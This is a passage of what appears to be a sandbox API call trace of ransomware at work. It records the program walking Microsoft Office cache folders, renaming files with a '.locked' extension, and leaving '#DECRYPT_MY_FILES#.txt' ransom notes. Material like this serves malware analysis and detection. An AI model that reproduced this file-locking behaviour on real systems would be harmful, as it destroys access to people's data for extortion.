hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819f70 | out: hHeap=0x7f0000) returned 1 [0032.073] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.073] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.073] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.073] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.073] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.073] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x3, dwReserved1=0x3, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0032.073] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x3, dwReserved1=0x3, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0032.073] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x3, dwReserved1=0x3, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0032.073] AreFileApisANSI () returned 1 [0032.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0032.085] AreFileApisANSI () returned 1 [0032.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0032.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0032.085] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.locked"), dwFlags=0x2) returned 1 [0032.085] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82b828 | out: hHeap=0x7f0000) returned 1 [0032.085] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.085] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.085] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.085] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.085] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.086] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x3, dwReserved1=0x3, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0032.086] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0032.086] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0032.086] AreFileApisANSI () returned 1 [0032.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.089] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb61d6ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb61d6ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0032.089] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb61d6ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb61d6ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0032.089] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb61d6ea0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb61d6ea0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb61d6ea0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.089] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0032.089] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0032.089] AreFileApisANSI () returned 1 [0032.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0032.103] AreFileApisANSI () returned 1 [0032.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0032.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0032.104] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.locked"), dwFlags=0x2) returned 1 [0032.104] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0032.104] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.104] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.104] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.104] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.105] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x3, dwReserved1=0x3, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0032.105] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0032.105] AreFileApisANSI () returned 1 [0032.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.109] AreFileApisANSI () returned 1 [0032.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.109] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0032.110] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0032.110] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0032.110] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0032.110] AreFileApisANSI () returned 1 [0032.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.114] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xb61fd000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb61fd000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0032.114] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xb61fd000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb61fd000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0032.114] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb61fd000, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb61fd000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb61fd000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.114] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0032.114] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0032.114] AreFileApisANSI () returned 1 [0032.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0032.118] AreFileApisANSI () returned 1 [0032.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0032.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0032.118] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.locked"), dwFlags=0x2) returned 1 [0032.119] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x3, dwReserved1=0x3, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0032.119] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0032.119] AreFileApisANSI () returned 1 [0032.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.123] AreFileApisANSI () returned 1 [0032.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0032.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0032.123] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0032.124] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0032.124] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0032.124] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0032.124] AreFileApisANSI () returned 1 [0032.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0032.127] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb6223160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6223160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0032.127] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb6223160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6223160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0032.127] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6223160, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb6223160, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6223160, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.127] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0032.127] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0032.127] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0032.127] AreFileApisANSI () returned 1 [0032.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0032.130] AreFileApisANSI () returned 1 [0032.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0032.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0032.131] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.locked"), dwFlags=0x2) returned 1 